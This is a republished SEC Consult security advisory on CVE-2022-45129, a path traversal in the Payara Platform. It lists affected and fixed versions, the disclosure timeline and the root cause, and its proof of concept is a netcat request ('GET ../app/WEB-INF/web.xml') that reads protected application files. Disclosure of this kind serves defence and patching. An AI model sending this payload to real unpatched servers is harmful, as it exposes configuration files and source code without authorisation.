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Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2022110022

Below is a copy:

Payara Platform Path Traversal
SEC Consult Vulnerability Lab Security Advisory < 20221114-0 >
=======================================================================
               title: Path Traversal Vulnerability
             product: Payara Platform
  vulnerable version: Enterprise: <5.45.0
                      Community: <6.2022.1, <5.2022.4, <4.1.2.191.38
       fixed version: Enterprise: 5.45.0
                      Community: 6.2022.1, 5.2022.4, 4.1.2.191.38
          CVE number: CVE-2022-45129
              impact: High
            homepage: https://www.payara.fish
               found: 2022-09-29
                  by: Michael Baer (Office Nuremberg)
                      SEC Consult Vulnerability Lab

                      An integrated part of SEC Consult, an Atos company
                      Europe | Asia | North America

                      https://www.sec-consult.com

=======================================================================

Vendor description:
-------------------
"Payara Micro Community is the open source, lightweight middleware platform of choice
for containerized Jakarta EE application deployments. less than 70MB, Payara Micro
requires no installation, configuration, or code rewrites."

Source: https://www.payara.fish/products/payara-platform-community/


Business recommendation:
------------------------
The vendor provides an update for the affected versions which should be installed
immediately.

SEC Consult highly recommends to perform a thorough security review of the
Payara Software by security professionals to identify and resolve potential
further security issues.


Vulnerability overview/description:
-----------------------------------
1) Path Traversal Vulnerability (CVE-2022-45129)
A path traversal similar to the old CVE-2021-41381 allows, under some circumstances,
to bypass the protection of the WEB-INF/ and META-INF/ folders. It is possible to read
files inside these directories of the deployed application. They mostly
contain configuration files for the application but may also contain source code.


Proof of concept:
-----------------
1) Path Traversal Vulnerability (CVE-2022-45129)
a) (Setup)
Deploy a web application at the root context (/). For this PoC,
the following application was used: https://github.com/AKSarav/SampleWebApp
===============================================================================
java -jar ./appserver/extras/payara-micro/payara-micro-distribution/target/payara-micro.jar --port 1234 --deploy app.war --contextroot /
===============================================================================
This application uses the org.apache.catalina.servlets.DefaultServlet for serving files.
The deployment at root (/) is crucial. The webapp has the following structure:
.
 WEB-INF
    web.xml
    weblogic.xml
 META-INF
    context.xml
 index.html
 welcome.jsp

b) (Attack)
The attacking payload is an HTTP request with a path starting with ../<webapp-name>/
(note that it does not start with /). To issue this request, a netcat connection can
be used:
===============================================================================
$ nc localhost 1234
GET ../app/WEB-INF/web.xml HTTP/1.1
Host: abc

===============================================================================
The server's response:
===============================================================================
HTTP/1.1 200 OK
Server: Payara Micro #badassfish
Accept-Ranges: bytes
ETag: W/"688-1664529724289"
Last-Modified: Fri, 30 Sep 2022 09:22:04 GMT
Content-Type: application/xml
Content-Length: 688
X-Frame-Options: SAMEORIGIN

<?xml version="1.0" encoding="UTF-8"?>
[...]
===============================================================================
It is possible to access all files in the app's directory /app.
The issue arises because the leading ../ is not detected to
escape the context and later the code of StandardContextValve.java
only checks the beginning of the path for forbidden directories
/META-INF/ and /WEB-INF/.
===============================================================================
requestPath.toUpperCase().startsWith("/META-INF/", 0)
===============================================================================


Vulnerable / tested versions:
-----------------------------
The vulnerability has been found in version 5.2022.3 (using jdk8-openjdk 8.345.u01-1)
and was verified as well on the Payara6 branch with the latest commit during the time
of the test: e5f68cda7a72c0c15fb55b724fe5d2e1e6255510 (using jdk11-openjdk 11.0.16.1.u1-2).

In both cases, the application was self-compiled from the official GitHub repository
on an Arch Linux distribution.

According to the vendor, "This vulnerability affects ALL the distributions of the
Payara Platform (Server Full, Server Web, Micro, Embedded, Docker images)
in every edition and major version.".

The vulnerable versions are all before 6.2022.1, 4.1.2.191.38, 5.2022.4 (Community Edition)
and 5.45.0 (Enterprise Edition).


Vendor contact timeline:
------------------------
2022-10-05: Contacting vendor through [email protected] asking for encryption key.
             Vendor agreed to proceed without encrypted channel.
2022-10-06: Sent security advisory to vendor.
2022-10-08: Vendor cannot reproduce vulnerability.
2022-10-10: Sending additional / more detailed information.
2022-10-12: Vendor confirms the vulnerability.
2022-10-17: Contacting vendor to coordinate release date.
2022-10-25: Vendor notifies that fix is applied and live in repository, we should wait
             for marketing to put patch notes online.
2022-11-02: Contacting vendor to ask for list of affected and fixed versions and CVE
             number and whether marketing already sent out the information. No reply.
2022-11-09: Identifying new version & patch notes are already available online.
             Requesting CVE number through MITRE.
2022-11-10: Sending CVE number to vendor
2022-11-11: Informing vendor about public release date on 2022-11-14
2022-11-14: Public release of security advisory.


Solution:
---------
The vendor fixed the software to detect illegal path traversals.
The fixed versions are
* 6.2022.1 (Community Edition)
* 5.2022.4 (Community Edition)
* 4.1.2.191.38 (Community Edition)
* 5.45.0 (Enterprise Edition)

The Community Edition can be downloaded from the vendor's website:

https://www.payara.fish/downloads/payara-platform-community-edition/

The Enterprise Edition can be requested by the sales team of Payara.


Further information regarding the vulnerability and releases can be
found at the following web site of the vendor:

https://blog.payara.fish/whats-new-in-the-november-2022-payara-platform-release


Workaround:
-----------
None


Advisory URL:
-------------
https://sec-consult.com/vulnerability-lab/


~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

SEC Consult Vulnerability Lab

SEC Consult, an Atos company
Europe | Asia | North America

About SEC Consult Vulnerability Lab
The SEC Consult Vulnerability Lab is an integrated part of SEC Consult, an
Atos company. It ensures the continued knowledge gain of SEC Consult in the
field of network and application security to stay ahead of the attacker. The
SEC Consult Vulnerability Lab supports high-quality penetration testing and
the evaluation of new offensive and defensive technologies for our customers.
Hence our customers obtain the most current information about vulnerabilities
and valid recommendation about the risk profile of new technologies.

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
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~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~

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EOF Michael Baer / @2022

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